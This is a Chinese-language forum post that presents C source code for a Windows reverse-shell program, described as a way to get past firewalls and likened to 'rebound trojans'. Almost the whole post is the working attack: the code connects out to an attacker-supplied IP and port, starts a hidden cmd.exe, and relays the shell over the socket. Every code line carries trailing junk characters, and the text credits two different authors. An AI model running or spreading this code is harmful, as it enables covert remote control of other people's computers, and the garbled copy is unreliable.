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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e{!vNJ0`  
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/* ============================== :-Wv>V\t  
Rebound port in Windows NT uvv.WbZ  
By wind,2006/7 d+5:Qrr  
===============================*/ &HL{LnLP@/  
#include KY+]RxX  
#include mHs:t{q  
%g w{[ /[A  
#pragma comment(lib,"wsock32.lib") hk;bk?:m  
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void OutputShell(); gp/YjUH7k8  
SOCKET sClient; _6rKC*Pe1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ps+:</;Z  
~6d5zI4\  
void main(int argc,char **argv) fS I%c3  
{ }cW#045es  
WSADATA stWsaData; ^'W%X  
int nRet; 5-w:c>  
SOCKADDR_IN stSaiClient,stSaiServer; 5;Ia$lm=y  
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if(argc != 3) PEzia}m  
{ ]o*$h$?s  
printf("Useage:\n\rRebound DestIP DestPort\n"); }n[Bq#  
return; 38wq (  
} VDiOO  
]^ 'ZiyJX  
WSAStartup(MAKEWORD(2,2),&stWsaData); SqqDV)Uih1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); os**hFPk;1  
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stSaiClient.sin_family = AF_INET; \ V?I+Gc  
stSaiClient.sin_port = htons(0); xJc.pvVPw  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1b[NgOXY=  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jY+Do:#/wO  
{ @C_ =*  
printf("Bind Socket Failed!\n");  XhA4:t  
return; D|TR!  
} u){S$</  
Z= ik{/  
stSaiServer.sin_family = AF_INET; ?O7iK<5N  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]_ #SAhOR)  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hS_.l}0yf  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7@a\*|K6  
{ \(bj(any  
printf("Connect Error!"); 3+zzi  
return; qc&jd  
} 3?^NN|xg  
OutputShell(); 0_HJ.g!  
} DKHM\yt  
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void OutputShell() DaDUK?  
{ _yJ|`g]U3  
char szBuff[1024]; TrQm]9@  
SECURITY_ATTRIBUTES stSecurityAttributes; l7~Pa0qD  
OSVERSIONINFO stOsversionInfo; r\RFDj  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; %mL5+d-oP  
STARTUPINFO stStartupInfo; 2-7Z(7G{ F  
char *szShell; #G~wE*VR$  
PROCESS_INFORMATION stProcessInformation; 07Y_^d  
unsigned long lBytesRead; ^XNw$@&',  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); B G5X_s0/  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IywiCMjH  
stSecurityAttributes.lpSecurityDescriptor = 0; ydyG}XI7V  
stSecurityAttributes.bInheritHandle = TRUE; B'#4;R!8P=  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *?p ^6vO  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); wA1Ey:q  
;Rs.rl>;t/  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z6 a,0&;-L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }1,'rm T  
stStartupInfo.wShowWindow = SW_HIDE; _hWuAJ9Qy  
stStartupInfo.hStdInput = hReadPipe; zF?31\GOX  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9u?Eb~#$  
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GetVersionEx(&stOsversionInfo); ovbEmb  
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switch(stOsversionInfo.dwPlatformId) Enu!u~1]F  
{ e) ]RA?bF  
case 1: nPcxknl(pd  
szShell = "command.com"; <c(&T<$  
break; ^K"ZJ6?+1  
default: z>7=k`x`:  
szShell = "cmd.exe"; gU+ss  
break; 9@Q&B+!  
} 1y 1_6TZ+  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~};]k}  
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send(sClient,szMsg,77,0); 4Q@\h=r  
while(1) lQh~Q<[ge  
{ |^ ?`Q.|c$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); g%ZdIKj!  
if(lBytesRead) }M^_Z#|,  
{ 1E8$% 6VV  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); q)vK`\Y  
send(sClient,szBuff,lBytesRead,0); xna7kA  
} 1]Gf)|  
else ijE<spG  
{ YXgWH'i~  
lBytesRead=recv(sClient,szBuff,1024,0); x!OWJ/O  
if(lBytesRead<=0) break; o1Ne+Jt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); E1#H{)G  
} l +|1G  
} Rq"VB.ef&{  
[?A&xqO3  
return; :DDO=  
}
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